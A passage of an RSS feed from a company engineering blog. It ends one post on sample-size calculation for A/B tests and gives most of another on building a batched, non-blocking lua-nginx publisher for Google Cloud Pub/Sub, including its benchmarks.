aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Simulation Results&lt;/h2&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/ea9a94da82743b59d689353ee2d26262/b5c21/sim-4.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 38.72832369942196%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAABcElEQVQoz11RTUvDQBDNn/Im/hD/gwgi+CM8e/TmQagg7VWsokUvIhJUrNXSNCb9SNKmTbK7ySZ5ziZNtB0YZpideW/erDZxZhiYI1gjByqfuvPCvdkCOUrL8zJL0xRJIhGTZ1m29laZ5ng+XHLGBTZNDamBakj1fvV/0DdsBBGr+4oeRUBRi+MEi9kcnHFiTmiDpI6REEikXCNgnENQXXIGf05qplMwxoo+RnVNbeZOvQJ904SS+A9QUs4Fx+O7Dc9dELHAnEAlkasDhBXg0JwglemaBGWcACpAVcmzFIswwu7xFZqdbl0v7pvlhSKSHEP/MIk9+7vbqimmvAYsEWE5PraPLrF30kYg5LoimUAjCLTu3tC3XPAogGEYsG27uJMfBCSx/KxstfVzb4ytgwvsHDawf/qAs9tP6AMPY59hSGSaksfpY5bLAGEUIQxDBARURbECrM5gjj0071/RIj9v62jc6Lh+6qLz0sO35eAXRxVhuv/Qeo8AAAAASUVORK5CYII=&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;sim 4&quot; title=&quot;sim 4&quot; src=&quot;/static/ea9a94da82743b59d689353ee2d26262/1e043/sim-4.png&quot; srcset=&quot;/static/ea9a94da82743b59d689353ee2d26262/991de/sim-4.png 173w, /static/ea9a94da82743b59d689353ee2d26262/e4d6b/sim-4.png 345w, /static/ea9a94da82743b59d689353ee2d26262/1e043/sim-4.png 690w, /static/ea9a94da82743b59d689353ee2d26262/e3189/sim-4.png 1035w, /static/ea9a94da82743b59d689353ee2d26262/b1001/sim-4.png 1380w, /static/ea9a94da82743b59d689353ee2d26262/b5c21/sim-4.png 2154w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;h2 id=&quot;summary&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#summary&quot; aria-label=&quot;summary permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Summary&lt;/h2&gt; &lt;p&gt;Sample Size calculators can prove to be very helpful in planning the time and resources to invest in a statistical test. The analytical form of equations proposed in this blog provides a general framework to obtain duration estimation for any parametric model used to measure the effect in an A/B test.&lt;/p&gt; &lt;p&gt;This is just one way that we are improving the experimentation experience at VWO. As the next steps, we plan to integrate it with the VWO app to obtain more realistic estimates in a test while it is running.&lt;/p&gt; &lt;h2 id=&quot;useful-resources&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#useful-resources&quot; aria-label=&quot;useful resources permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Useful resources&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;https://uu.diva-portal.org/smash/get/diva2:816639/FULLTEXT01.pdf&quot;&gt;Derivation of Standard Deviation of Data Distribution in Revenue Calculator&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://towardsdatascience.com/the-art-of-a-b-testing-5a10c9bb70a4&quot;&gt;The art of A/B testing&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Anshul Gupta</author></item><item><title><![CDATA[A lua-nginx Client for Pub/Sub]]></title><description><![CDATA[Introduction Lua as a part of the OpenResty package, is extensively used in our in-house Dynamic CDN (DACDN) module. CDN generally is used…]]></description><link>https://engineering.wingify.com//posts/a-lua-nginx-client-for-pubsub/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/a-lua-nginx-client-for-pubsub/</guid><pubDate>Fri, 04 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#introduction&quot; aria-label=&quot;introduction permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Introduction&lt;/h2&gt; &lt;p&gt;Lua as a part of the OpenResty package, is extensively used in our in-house &lt;a href=&quot;https://engineering.wingify.com/posts/dynamic-cdn/&quot;&gt;Dynamic CDN (DACDN)&lt;/a&gt; module. CDN generally is used for quick content delivery but our in-house CDN works both as content delivery as well as a data acquisition service for gathering copious amounts of data of our client&apos;s visitors. Since the collection of data at a high throughput requires a sophisticated queue mechanism, therefore, one of the core parts of our DACDN is to publish packets to &lt;a href=&quot;https://cloud.google.com/pubsub/docs/overview&quot;&gt;Google Cloud Pub/Sub&lt;/a&gt;. &lt;/p&gt; &lt;p&gt;Pub/Sub lets any number of publishers publish data, ideally to a topic, which could be subscribed to by any number of subscribers. This messaging queue was an ideal choice for us since it can accept publish throughput up to 200 MB/s and subscriber throughput up to 400 MB/s. It can retain unacknowledged data for 7 days, can provide reliability through application-level acknowledgments, and is based on “at-least-once” delivery semantics. Pub/Sub also comes with an ability to store attributes which is for storing metadata of a payload in a key-value format. Some other perks we enjoyed with Pub/Sub are:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;Global availability:&lt;/strong&gt; Pub/Sub acts as a global service and is available in all Google Cloud Zones; transferring data between our data centers wouldn’t be through our regular internet provider but would use the underlying Google network.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;A simple REST API:&lt;/strong&gt; Since there is no library for Pub/Sub in Lua, we can quickly write our own publisher/subscriber by using their REST APIs.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Self Managed:&lt;/strong&gt; There was no need to create a capacity model or deployment strategy or to set up monitoring and alerting.&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;problem&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#problem&quot; aria-label=&quot;problem permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Problem&lt;/h2&gt; &lt;p&gt;The challenge arises when the lua-nginx module by default does not provide a way to push messages to Pub/Sub. Google Pub/Sub provides support for executing HTTPS requests for publishing messages. Still, Lua out of the box does not provide an interface for making external HTTP requests. So, there is a well-maintained library called &lt;a href=&quot;https://github.com/ledgetech/lua-resty-http&quot;&gt;lua-resty-http&lt;/a&gt; which helps us for doing the same. Using this library still doesn’t fix our problems completely. We need to come up with a solution that can handle a throughput of 30k requests/sec while maintaining non-blocking behavior. For handling such high throughput we can’t just pick one packet and execute a new HTTP request for the same, this would be highly unoptimized which would result in an increase in response time. Hence, we need to design a solution that could meet our requirements.&lt;/p&gt; &lt;h2 id=&quot;approaches&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#approaches&quot; aria-label=&quot;approaches permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Approaches&lt;/h2&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Brute-force Approach&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;For every request we receive at the DACDN end, we can form a payload out of it and then can execute HTTP requests for each of them separately. Though this approach is easy to Implement and highly intuitive, a highly blocking behavior will be experienced at the request sender&apos;s end, thereby increasing response time. High machine configs with more workers can overcome this, but it will ultimately lead to a higher system cost. Also, as per this &lt;a href=&quot;https://cloud.google.com/pubsub/pricing#message_ingestion_and_delivery&quot;&gt;Google Doc&lt;/a&gt;: “A minimum of 1000 bytes per publish, push or pull request is assessed regardless of message size.” This implies that messages smaller than 1000 bytes are still billed for a whole 1000 bytes therefore also being cost-ineffective.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Optimized Approach&lt;/strong&gt;&lt;/p&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;Techniques that work for us in optimizing the publish rate&lt;/p&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Data Batching at Worker level using timers:&lt;/strong&gt; This methodology reduced our response time by 3x when compared to publishing messages without it. Even this &lt;a href=&quot;https://cloud.google.com/pubsub/pricing#message_ingestion_and_delivery&quot;&gt;Google Doc&lt;/a&gt; advises pushing bulk data in publish requests for reducing cost. The idea is pretty simple but immensely effective. Steps are as follows:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Accept the incoming request and form a data packet out of it&lt;/li&gt; &lt;li&gt;Add this data packet in a buffer which is nothing but a Lua table that is used to hold packets for a while&lt;/li&gt; &lt;li&gt; &lt;p&gt;As soon as the batch size is reached:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Initialize a timer that will work outside the worker context giving it a non-blocking characteristic.&lt;/li&gt; &lt;li&gt;In this timer context, create a batch of data for the HTTP request body.&lt;/li&gt; &lt;li&gt;Use the keep-alive property of HTTP connection reuse for getting the connection from the connection pool, if not present then a new connection will be automatically created.&lt;/li&gt; &lt;li&gt;Use the connection and request body to execute an HTTPS request for publishing packet&lt;/li&gt; &lt;li&gt;Remove the packets from the buffer that were successfully sent&lt;/li&gt; &lt;/ol&gt; &lt;/li&gt; &lt;li&gt;Above process repeats itself as the new data keeps on coming&lt;/li&gt; &lt;/ol&gt; &lt;/li&gt; &lt;li&gt;&lt;strong&gt;Connection Reuse or HTTP keep-alive:&lt;/strong&gt; HTTP keep-alive, or HTTP connection reuse, is the idea of using the same TCP connection to send and receive multiple HTTP requests/responses, as opposed to opening a new one for every single request/response pair. It enhances HTTP performance by using less network traffic due to fewer setting up and tearing down of TCP connections and reducing latency on subsequent requests due to avoidance of initial TCP handshake.&lt;/li&gt; &lt;/ol&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Edge Case&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;There can be a scenario where a certain topic’s batch is never going to be full or maybe filled very slowly due to low throughput. So, in that case, we also need to run a recursive nginx timer in the background that will be repeatedly fired up in a specific interval of time and will be responsible for checking any stale data present in the buffer. If yes, then create a batch of those remaining data and push them immediately to Pub/Sub.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Architecture&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Here is a very high-level overview of what is going on behind the scenes:&lt;/li&gt; &lt;/ul&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/9097d8e2fa87f7f743cf779114358d78/4b190/lua-resty-pubsub-architecture.jpg&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 87.86127167630057%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAASABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAMBAgT/xAAXAQEBAQEAAAAAAAAAAAAAAAAABAEC/9oADAMBAAIQAxAAAAHaQ9FU0muk+g6GP//EABsQAAEFAQEAAAAAAAAAAAAAAAEAAhESMgMh/9oACAEBAAEFAvEa2fAKLpL5sm66a//EABYRAAMAAAAAAAAAAAAAAAAAAAABEP/aAAgBAwEBPwGs/8QAFxEBAQEBAAAAAAAAAAAAAAAAAQAQMf/aAAgBAgEBPwFjDl//xAAaEAACAgMAAAAAAAAAAAAAAAAAARAhETFR/9oACAEBAAY/Ati4VCwXCj//xAAeEAACAgEFAQAAAAAAAAAAAAABEQAhMRBBUXGhsf/aAAgBAQABPyGiTPNQUgRyVwETYgowm65FCdzp6J85/9oADAMBAAIAAwAAABBsBz//xAAWEQEBAQAAAAAAAAAAAAAAAAAAATH/2gAIAQMBAT8Qi6mtP//EABcRAAMBAAAAAAAAAAAAAAAAAAABMRH/2gAIAQIBAT8QR6QOEj//xAAcEAEAAwEAAwEAAAAAAAAAAAABABEhMRBRgaH/2gAIAQEAAT8QRMymqVBjS6RT8inEmvuJBOjcDV2WBsNyxQUiOfPDRxppyJdK47P/2Q==&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;lua resty pubsub architecture&quot; title=&quot;lua resty pubsub architecture&quot; src=&quot;/static/9097d8e2fa87f7f743cf779114358d78/15ec7/lua-resty-pubsub-architecture.jpg&quot; srcset=&quot;/static/9097d8e2fa87f7f743cf779114358d78/9ac50/lua-resty-pubsub-architecture.jpg 173w, /static/9097d8e2fa87f7f743cf779114358d78/8d48c/lua-resty-pubsub-architecture.jpg 345w, /static/9097d8e2fa87f7f743cf779114358d78/15ec7/lua-resty-pubsub-architecture.jpg 690w, /static/9097d8e2fa87f7f743cf779114358d78/4b190/lua-resty-pubsub-architecture.jpg 800w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;/li&gt; &lt;/ol&gt; &lt;/li&gt; &lt;/ol&gt; &lt;h2 id=&quot;lets-proceed-to-the-fun-part---benchmarking&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#lets-proceed-to-the-fun-part---benchmarking&quot; aria-label=&quot;lets proceed to the fun part benchmarking permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Let’s proceed to the fun part - Benchmarking&lt;/h2&gt; &lt;p&gt;The first thing we did was to test the optimized solution with Cloud Pub/Sub to see if it could handle the anticipated load. The primary purpose was to compare how our optimized approach performs against a simple initial brute-force approach. Our hope from this solution was that the system would be able to handle this traffic from the producer for a long time, without degrading the service.&lt;/p&gt; &lt;p&gt;With our new client in place, we were ready to start pushing some serious load to Pub/Sub. We used JMeter scripts with Taurus as a Load Testing tool to send mock traffic through our DACDN to Pub/Sub. Following machine configs were used while the load test was carried out:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;DACDN:&lt;/strong&gt; 16 vCPUs, 16GB RAM&lt;/li&gt; &lt;li&gt;&lt;strong&gt;JMeter Machine:&lt;/strong&gt; 18 vCPUs, 33 GB RAM&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Average Packet Size:&lt;/strong&gt; 1KB&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Note: All these configurations were kept identical before running load tests on two solutions.&lt;/p&gt; &lt;p&gt;Here are the screenshots for Performance Testing Report and Stackdriver monitoring charts for the same load throughput but one without optimization and another with one.&lt;/p&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Figure 1:&lt;/strong&gt; Performance Testing Report when load sent to brute-force solution&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/4f3eff6d5cc5cfd72c9998766dba4834/29007/lua-resty-pubsub-figure1.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 50.28901734104046%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsSAAALEgHS3X78AAABTElEQVQoz11Ri27DMAjM/3/m1K5dHk1iMNiA3V2aTtqGThiHx+HLkLWK1mJe6hvV3Dyqt3r4nwAFJ84yc60+iGiptbVn7/35MosnactZkMLcDC8a7UjD4UCAAwTDSvZI6h5J9LKMDyJeU9pIiolq2mdixfjMC8aBk6muG2sxLT5sbFvKIOQi07aQZieqnI81eiv8AHlvUWRhzuAQqvtOLZp7GywaEZlZxuurnctjVSbOpqNux5D3g/4YGgesjrXQ4+6KqJRXde+tOQjDztKIgAjV3leMO97sEeYtibE6iW2k8PS6toYJPUtlscRlWWknRQxAfAczBNxz+RjpMvFlyi8cwXVOp7LjLJ9jvo18n+Q+MYLrF2cxNB7NEO8y1vsct9l/ELdFsDravxb/9f3AdfKsDTZANJI6rnXe7Dceu0V0j77s9i81rfiLgcZvOnxDHahb2lwAAAAASUVORK5CYII=&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;lua resty pubsub figure1&quot; title=&quot;lua resty pubsub figure1&quot; src=&quot;/static/4f3eff6d5cc5cfd72c9998766dba4834/1e043/lua-resty-pubsub-figure1.png&quot; srcset=&quot;/static/4f3eff6d5cc5cfd72c9998766dba4834/991de/lua-resty-pubsub-figure1.png 173w, /static/4f3eff6d5cc5cfd72c9998766dba4834/e4d6b/lua-resty-pubsub-figure1.png 345w, /static/4f3eff6d5cc5cfd72c9998766dba4834/1e043/lua-resty-pubsub-figure1.png 690w, /static/4f3eff6d5cc5cfd72c9998766dba4834/e3189/lua-resty-pubsub-figure1.png 1035w, /static/4f3eff6d5cc5cfd72c9998766dba4834/b1001/lua-resty-pubsub-figure1.png 1380w, /static/4f3eff6d5cc5cfd72c9998766dba4834/29007/lua-resty-pubsub-figure1.png 1600w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Figure 2:&lt;/strong&gt; Performance Testing Report when load sent to an optimized solution&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/f8883c507583e2d6124eb2c3ef06ae3e/29007/lua-resty-pubsub-figure2.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 53.17919075144509%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsSAAALEgHS3X78AAABkUlEQVQoz4VQ224TMRDd7y+opbRJRSMFeOGBB34E8QU8oNA0aXazu/Z4PLZnbC+zSwUSqoR1NDqeOXNtPn3+snq3vbi8ef1m9erq9u16c7f5sL5/r7jbqP243d7/+Hb5/ev17frm4mqlsj9oSq3T/57UKb/kb0JMIbKCU2bOSs7Ag8HR2NE6A0rAE7FITLMsJiWiBH1ozjZMtUaWXX98sj05pLbLpZQ6pdATOSmTxMF7kJy1AQwBHKpASzQWUJVJZADjPBaWCI5ZJ51iAERUntl7xBhjzgUdkadaa2JpjLUUgg6GDoVl3jDncTQ654GGVGbPi2eZk1WqMa0kIkS0+GetNpHye/z5ofcWQCvWpZa652SKcXDBICtGiAaTEue1lB64UhTjogU/WhqM5gcLBBjmTTk3SGl3gl1rH1q37/xDCz9b2HdOB9KGgPHxhIcWj61f4A4n0q+W1lM0FOqhk+OZF8gC3ncUEmuy83mJ5udQP9vHjhPrmrnxoXSjnM1f9LNNFFMtE1L+J6pQT0wlpfwLZvRnBQvXcZ8AAAAASUVORK5CYII=&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;lua resty pubsub figure2&quot; title=&quot;lua resty pubsub figure2&quot; src=&quot;/static/f8883c507583e2d6124eb2c3ef06ae3e/1e043/lua-resty-pubsub-figure2.png&quot; srcset=&quot;/static/f8883c507583e2d6124eb2c3ef06ae3e/991de/lua-resty-pubsub-figure2.png 173w, /static/f8883c507583e2d6124eb2c3ef06ae3e/e4d6b/lua-resty-pubsub-figure2.png 345w, /static/f8883c507583e2d6124eb2c3ef06ae3e/1e043/lua-resty-pubsub-figure2.png 690w, /static/f8883c507583e2d6124eb2c3ef06ae3e/e3189/lua-resty-pubsub-figure2.png 1035w, /static/f8883c507583e2d6124eb2c3ef06ae3e/b1001/lua-resty-pubsub-figure2.png 1380w, /static/f8883c507583e2d6124eb2c3ef06ae3e/29007/lua-resty-pubsub-figure2.png 1600w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Figure 3:&lt;/strong&gt; Send Message operations count for brute-force solution&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c0174eb273f0c46bb7a63c8cb4c625ce/29007/lua-resty-pubsub-figure3.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 43.35260115606936%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsSAAALEgHS3X78AAAA80lEQVQoz4WRcU+EMAzF9/0/mwfoaeI/6mkiY80BmzsYbB342DxjjHc2vzSPva4rqTDGDMNp/Ypl/StijB4x+xA2EUJAds4JKOa4XohlWa5YIka0GUAIY8oOgnlm9ngvhInZZbw/wWWeUobL4nh8lLJomqppSilL5EzShVJ3pJ5V89L379ZS370mqyB6QF+RSqsLlErtiZ6IDsZIa5XWb7k10T5frq4gZXUepJByl2fEUET32+W6vqnrXSbbZ7bPdFj8AodK3eK3xTi282ymSYNx7IBzfRZgGNpv/YMWxVid6Dqt9QcwxmKF3vO/YNvGoN58Atqk+LyuPUAVAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img 